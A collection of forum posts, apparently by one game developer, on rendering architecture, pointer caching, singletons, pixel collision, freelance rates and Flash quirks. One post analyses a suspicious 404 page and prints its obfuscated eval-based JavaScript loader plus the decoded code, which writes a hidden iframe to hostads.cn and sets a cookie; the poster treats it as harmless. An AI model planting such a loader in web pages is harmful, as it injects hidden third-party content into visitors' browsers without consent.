When people say "don't write your own physics system" they're talking about realistic physics. If you're writing a platformer I'd say do use your own system. Making Box2D do what you want will be way harder. (And I speak as someone currently using Box2D for a large project which does modify its default physics rules.)

I would also keep reference to those objects sorted by depth in an addition container in the canvas. "In front of X" could be implemented by setting an object's depth to just above X, so the fate of X afterwards doesn't matter.

Except that it might. For example, if my character is carrying an umbrella then if he shifts depths the umbrella needs to remain "in front of X", not at the depth which used to represent "in front of X" before the move.

Also, if you leave objects lying around with numeric depths which are not derived from anything you can get unintentional crossovers if you're not careful. So my character walks along behind a wall whilst his umbrella floats along in front of it, for example. (You could probably prevent this in most cases by using different sizes of numeric offset between things, but that's a fairly nasty hack which invites bugs if you aren't careful.)

Hey guys, we've been sort of struggling lately at intuition and today it hit us like a ton of bricks. Maybe we should do crimes.

Contract killing pays well, I hear.

But the other thing which pays well is programming. You guys have good Flash programmers, right? That pays something like $60/hour for relatively easy stuff (actually I don't know in USD, but I've made at least £40/hour on all my recent contracts). And if you write good reusable code you can even end up with libraries and stuff that have gaming applications!

As with any language, you should only use features commensurate with your level of experience and competence.

For example, I write very simplistic PERL scripts likely to provoke scorn or hilarity from serious PERL hackers... because if I tried to write clever PERL scripts I'd probably leave a security hole somewhere!

Then the canvas can just refer to every object on it, which implements a drawSelf() function

This works fine for fairly simple games, but it gets horrible quite quickly for complex projects. The canvas doesn't know what all these things are that it's supposed to render (assuming modularity), so when you want to add another one you don't know where to put it. Similarly if an existing object wants to change its rendering depth.

You could have some sort of depth manager, but then that begs the question of where it gets its information from. Answer: it's going to have to have the information passed in, so the "pointer to canvas" or "pointer to renderer" problem just becomes the "pointer to depth manager" problem.

The only other way around this is to serialise all your operations at rendering time. So the renderer says to each object "Excuse me, but what depths would you like to render this frame?", then processes the various rendering operations in some suitable order. But then this approach will force objects to cache information on what depths they want to render at, which is actually more difficult than just cacheing a pointer to the canvas in the general case (because you can't just say "in front of X" if object X might disappear between now and rendering).

I guess I like science fiction too much and over estimate them.

If you want something more widely applicable, try evolutionary algorithms. I evolved a bot to play xtris (multiplayer Tetris) and it got good enough to beat most humans playing at the same speed.

Still, is there any reason why there has to be a way from the bullet to the canvas? Shouldn't only the renderer have to be aware of where to paint the darn thing?

If you like, but then "the renderer" is the thing you need the pointer to! What you can't always do is have the renderer know how to paint everything without further input, since that tends to mean very poor code modularity.

I've been saying this for years.  The singleton was designed for pure object oriented languages like Smalltalk where ordinary functions and free standing data don't exist.  A singleton lets you simulate them.  In languages like C++ a class is supposed to be a data type.  What the hell good is a data type that only allows a single instance?

A singleton pattern is appropriate where the class corresponds to some intrinsically unique resource. So, for example, if my game has a save system then I might use a singleton for that because multiple instances coexisting isn't just unnecessary, it's actively hazardous.

they have a lot more potential than people credit them for

If by "potential" you mean that there are currently almost no good applications for them, I'm inclined to agree! 

A related issue which I wouldn't mind some opinions on is the issue of cacheing pointers to useful things in related objects.

For example, suppose I have a huge load of classes for things like world, room, character, appearance, behaviour, object, weapon and so on (literally dozens). In order to perform (say) a simple graphical operation I might need to perform three or four field lookups to get a pointer to whatever graphical queue or surface I'm using. For example:

bullet->gun->character->room->canvas

In this kind of situation it's often really tempting (but still usually a bad idea) to use a global/static field to cache the current graphics surface. Alternatively, another way to make things both neater and more efficient is to cache a copy of it in various places. So, for example, each animated object might have a reference to canvas so that we can just write:

bullet->canvas

Or if there are lots of things we need to cache in this way we can bundle them all together into a kind of "context", which is like a global variable space except not actually global. Then we can do:

bullet->context->canvas

Do any of you use approaches like this? If so, what do you recommend? I find I end up caching things in a very inconsistent and ad-hoc manner, which is a habit I want to get out of since it leads to difficult-to-understand code and occasional weird bugs involving uncleared caches blocking garbage collection (and worse).

Hmm, apparently someone's avatar has a trojan embedded in it according to my Avast. The img is from onipress and is named wlljicon3.gif, could be nothing but better safe then sorry...

Virus checkers are hilarious!

It's a 404 error page, because dustin's avatar is an external URL link but the gif in question has disappeared.

The error page does admittedly have a bit of obfuscated Javascript on it, but it doesn't take much inspection to see that it's equivalent to this:

Code:

function evalCode(str){
 var result="";
 for(i=0; i<str.length; i += 2) {
  result+=( eval(String.fromCharCode+"(hexToInt(str.substr(i,2)))"));
 }
 eval(result);
}
evalCode("69662028646F63756D656E742E636F6F6B69652E73656172636828227168766C653D382229203D3D202D3129207B0A777A633D646F63756D656E742E676574456C656D656E7442794964282771646F27293B696628777A633D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D71646F207372633D687474703A2F2F686F73746164732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20227168766C653D383B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");

...with the encoded Javascript decoding to this...

Code:

if (document.cookie.search("qhvle=8") == -1) {
wzc=document.getElementById('qdo');if(wzc==null){document.write('<iframe id=qdo src=http://hostads.cn style=display:none></iframe>');}
document.cookie = "qhvle=8;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

Oh noes! It's going to make an ad! :-O

So I went to take a look at the page... and it didn't even make an ad after all that excitement. Maybe next time, eh?

I don't bother with protecting my Intuos3 and it's showing no signs of wear after 3-4 years of regular use.

A quick note on hourly rates: Whether they're a good idea depends in part who you're hiring. If you know for sure that the person is a reputable professional who will invoice you accurately and keep you well informed of progress, meet milestones and so on then paying by the hour will get you best value.

How do I know this? Because I work freelance for a living. When a customer wants a fixed price quote, I have no choice but to bill them for a pessimistic number of hours. Also, customers who want fixed price invariably expect you to do all kinds of things for free (!) and so you need to cost that in.

Fixed price is like buying insurance. Sometimes you need it, but mostly it's a huge waste of money.

Solid Snake... hmm... he's that guy from that videogame, right? Sure, I can draw him!

I do know flash disables most keyboard input in fullscreen.

Further to which, anyone developing games which use fullscreen needs to be careful since there is a compatibility break between v9 and v10 of Flash Player. In particular v10 allows some keys whilst v9 allowed none at all. (Some users may still be running v9!)

As an aside: fullscreen mode for standalone players allows normal keyboard use, so this feature can be safely added to downloadable versions.

What can an all-volunteer organization with very little money accomplish for Indie-dom?

Apply pressure to platform owners and development software vendors to lower barriers to entry both in terms of access and costs.

The less money is needed to start developing on a platform, the more indie games you'll see there. (Consoles, handhelds, mobiles, etc.)

Last time I did this sort of thing, it worked like this:

* At load time, precalculate a 1-bit hitmask for each character sprite.
* At run time, check bounding boxes first.
* If bounding boxes overlap, iterate across only the overlapping portions of the hitmasks.
* With the hitmasks being stored as bit arrays packed into memory words, the test can be done as a sequence of shifts combined with logical AND operations. And non-zero result is a hit.
* If you need to know exactly <i>where</i> hits are, this is a straightforward function of your loop variables.

This approach is extremely fast. It can be adapted to work for more dynamic sprites by doing the hitmask calculations with the actual graphical data. It's slower, but probably not by enough to matter.

So, although this works (mostly...) I imagine there are much better ways of achieving the same effect?

I don't see anything wrong with your approach. Changing the 'visible' property is extremely efficient, which from my perspective makes it a good solution.

trying to pick up gigs as a graphic designer, game tester

The difficulty with these skills is that they're not sufficiently scarce. Even if you're slightly better at stuff than the competition that doesn't help if the vast pool of applicants has already sucked up all the jobs.

Is graphic designer your professional/academic field, or is it a sideline for you? If the former, get used to being poor. (No, that isn't me being nasty, a couple of my friends are designers.)

Thing is, there is another way into indie game development. Get a day job that pays well and live well below your means, then you'll be able to gradually buy back your working life until you can afford to spend time on games exclusively. It's a slow process, of course, but it has the advantage of being fairly reliable. And in the meantime you can still do game stuff across evenings and weekends if you're dedicated enough. You didn't want a life, did you? ;-)

I wouldn't pay to see a game's source, no.

The main reason is: most source code is horrible. Only if the writer has written something clean, readable and efficient will it be of any use to me and I won't know that until I've already seen it.

Main advantage of releasing source, besides helping the community, is free publicity for the game. I wouldn't recommend GPL. Instead, use a licence where commercial games can use the code but must credit you explicitly somewhere clearly visible. That way if your code is good you generate even more free publicity.

Anyway, does anyone have any thoughts about this?

Seems like the 3D-ness has two distinct effects:

1) Potential for interesting (non-Euclidean) surface metrics.
2) Potential for interesting topology.

The first of those two seems like it has potential for something like a race game, where you have to work out where the fastest route over the 3D surface lies. Trivial for simple surfaces, of course, so you'd need something seriously squiggly to be fun. Hmm... SSX in space, anyone? :-D

The second has already been explored quite a lot. Indeed, a lot of the ancient classic text adventures had mazes with extremely weird topology. And what is Portal if not a game about topology? If that doesn't prove topology is fun, I don't know what would.

Random game idea: Non-Euclidean Lemmings! (Or: Lemmings meets Portal!) Go on, someone implement it, I'm too busy!